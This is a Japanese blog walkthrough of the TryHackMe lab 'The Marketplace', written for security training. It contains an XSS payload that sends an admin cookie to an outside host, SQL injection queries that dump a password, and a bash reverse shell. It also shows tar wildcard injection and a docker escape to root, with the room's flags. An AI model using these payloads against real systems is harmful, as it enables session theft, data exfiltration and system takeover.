1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】The Marketplace:Walkthrough

Posted at

概要

TryHackMe「The Marketplace」のWalkthroughです。

Task1

Q1.What is flag 1?

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- -oN nmap_result 10.201.2.164

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
|   256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_  256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp    open  http    nginx 1.19.2
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
| http-robots.txt: 1 disallowed entry 
|_/admin
32768/tcp open  http    Node.js (Express middleware)
|_http-title: The Marketplace
| http-robots.txt: 1 disallowed entry 
|_/admin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http nginx/1.19.2
32768 http nginx 1.19.2

80番ポートのWebアプリケーションにアクセスします。

image.png

80番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.201.2.164/

301   179B   http://10.201.2.164/images    -> REDIRECTS TO: /images/
200   857B   http://10.201.2.164/login
200   857B   http://10.201.2.164/login/
302    28B   http://10.201.2.164/messages    -> REDIRECTS TO: /login
302    28B   http://10.201.2.164/new    -> REDIRECTS TO: /login
200    31B   http://10.201.2.164/robots.txt
200   667B   http://10.201.2.164/signup

32768番ポートのWebアプリケーションにアクセスします。
80番ポートのWebアプリケーションと同じような作りになっています。

image.png

32768番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.201.2.164:32768

301   179B   http://10.201.2.164:32768/images    -> REDIRECTS TO: /images/
200   857B   http://10.201.2.164:32768/login
200   857B   http://10.201.2.164:32768/login/
302    28B   http://10.201.2.164:32768/messages    -> REDIRECTS TO: /login
302    28B   http://10.201.2.164:32768/new    -> REDIRECTS TO: /login
200    31B   http://10.201.2.164:32768/robots.txt
200   667B   http://10.201.2.164:32768/signup

80番ポートのWebアプリケーションに、サインインしログインすると、New listingMessagesのページを閲覧出来ました。

image.png

image.png

New listingからマーケットプレイスページに投稿出来ました。

image.png

image.png

Report listing to adminsから管理者へレポートを送る事が出来ます。

image.png

レポートを送ると管理者がレビューし、規約違反かどうか判断されたメッセージがMessagesに届きます。

image.png

管理者がサーバ側でWebアプリケーションにアクセスしている可能性が高いです。
なので、XSSなどが成功すれば管理者のCookie情報などを入手できます。

XSSの脆弱性がある個所を探すと、New listingページのDescriptionでXSSが刺さると分かりました。

image.png

image.png

なので、XSSのペイロードをDescriptionに仕込み、レポートを送れば管理者のCookie情報を入手できそうです。
Cookieを攻撃マシンに送信するペイロードを、Descriptionに入力します。

<script>
document.location='http://hakking.com/getCookie?cookie=' + document.cookie;
</script>

image.png

レポートのリクエストは、POSTメソッドで/report/<item number>へ送信されています。

image.png

なので、XSSを仕込んだitem numberでレポートを送ります。

image.png

HTTPサーバを起動していると、XSSが刺さり、Cookie情報を得られました。

$ python -m http.server 80

10.201.12.28 - - [23/Oct/2025 09:05:50] code 404, message File not found
10.201.12.28 - - [23/Oct/2025 09:05:50] "GET /getCookie?cookie=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3NjEyMjQ3NDl9.nf7wukgi6Pfr-DyCaRqpwoG6mztnhqojfHBabhkFkvc HTTP/1.1" 404 -

JWTを解析すると、ユーザ名がmichaeladmin:trueになっています。
管理者のCookie情報を得られました。

image.png

ブラウザの開発者ツールで、Cookie情報を書き換えるとAdministration panelページが閲覧出来ました。

image.png

管理パネルでWebのフラグを入手できました。

image.png

A.THM{c37a63895910e478f28669b048c348d5}

Q2.What is flag 2? (User.txt)

アカウントをクリックすると、アカウント情報を参照できます。

image.png

?user=1となっており、userの値でDB処理を行っている可能性が高いです。
SQLインジェクションが出来そうです。
試しにシングルクォーテーションを付けると、SQLの構文エラーが出たので、SQLインジェクションの脆弱性があると分かりました。

image.png

SQL文が返すカラム数を探していくと、4つだと分かりました。

UNION SELECT 1,2,3,4

image.png

?user=0にし、インジェクションした結果だけが出力されるようにします。
また、2つ目のカラムにインジェクションする事でUserの項目に結果が出力されるようにします。
?user=0 UNION SELECT 1,database(),3,4
DB名がmarketplaceだと分かりました。

image.png

group_concatを利用し、marketplaceDBのテーブル名を列挙します。

?user=0 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='marketplace'

itemsmessagesusersテーブルがあると分かりました。

image.png

messagesテーブルのカラム名をチェックします。

?user=0 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'

複数のカラム名が分かりました。

image.png

テーブルのデータを抽出します。

?user=0 UNION SELECT 1,concat(user_from,'_',user_to,'_',message_content),3,4 from messages

systemからjake宛てのメッセージで、SSHのパスワードが@b_ENXkGYUCAv3zJだと判明しました。

image.png

jakeアカウントでSSH接続に成功しました。

$ ssh jake@10.201.12.28

jake@the-marketplace:~$ whoami
jake

ユーザフラグを入手できました。

jake@the-marketplace:~$ cat user.txt 
THM{c3648ee7af1369676e3e4b15da6dc0b4}

A.THM{c3648ee7af1369676e3e4b15da6dc0b4}

Q3.What is flag 3? (Root.txt)

sudo -lで確認すると、/opt/backups/backup.shmichael権限で実行可能です。

jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh

/opt/backups/backup.shの処理を確認すると、tarコマンドでワイルドカードを使用しています。

/opt/backups/backup.sh
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *

ワイルドカードを使用している場合、ワイルドカードインジェクションを使用できます。

/opt/backupsにリバースシェル用のスクリプトファイルを作成します。

shell.sh
bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"

必要なファイルを作成し、権限設定をします。

jake@the-marketplace:/opt/backups$ touch -- "--checkpoint=1"
jake@the-marketplace:/opt/backups$ touch -- "--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:/opt/backups$ chmod 777 shell.sh
jake@the-marketplace:/opt/backups$ chmod 777 backup.tar
jake@the-marketplace:/opt/backups$ ls -la
total 28
drwxrwxrwt 2 root    root     4096 Oct 23 13:46  .
drwxr-xr-x 4 root    root     4096 Aug 23  2020  ..
-rwxr-xr-x 1 michael michael    73 Aug 23  2020  backup.sh
-rwxrwxrwx 1 jake    jake    10240 Aug 23  2020  backup.tar
-rw-rw-r-- 1 jake    jake        0 Oct 23 13:46 '--checkpoint=1'
-rw-rw-r-- 1 jake    jake        0 Oct 23 13:46 '--checkpoint-action=exec=sh shell.sh'
-rwxrwxrwx 1 jake    jake       52 Oct 23 13:44  shell.sh

sudoコマンドでbackup.shを実行します。

jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh

すると、michaelでリバースシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.201.12.28] 54318
michael@the-marketplace:/opt/backups$ whoami
whoami
michael

TTYの設定をします。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

所属グループを確認すると、dockerグループに所属していると分かりました。

$ id
id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)

Dockerグループに所属している際の、権限昇格テクニックがあります。

dockerイメージの一覧を表示します。

michael@the-marketplace:/opt/backups$ docker images
docker images
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
themarketplace_marketplace   latest              6e3d8ac63c27        5 years ago         2.16GB
nginx                        latest              4bb46517cac3        5 years ago         133MB
node                         lts-buster          9c4cc2688584        5 years ago         886MB
mysql                        latest              0d64f46acfd1        5 years ago         544MB
alpine                       latest              a24bb4013296        5 years ago         5.57MB

nginxイメージを利用し、rootのシェルを取得できました。

michael@the-marketplace:/opt/backups$ docker run -it --rm -v /:/mnt nginx chroot /mnt bash      
 /mnt bash -it --rm -v /:/mnt nginx chroot 
root@0b5c8c3d099e:/# whoami
whoami
root

/root/root.txtからルートフラグを入手できました。

root@0b5c8c3d099e:/# cat /root/root.txt
cat /root/root.txt
THM{d4f76179c80c0dcf46e0f8e43c9abd62}

A.THM{d4f76179c80c0dcf46e0f8e43c9abd62}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?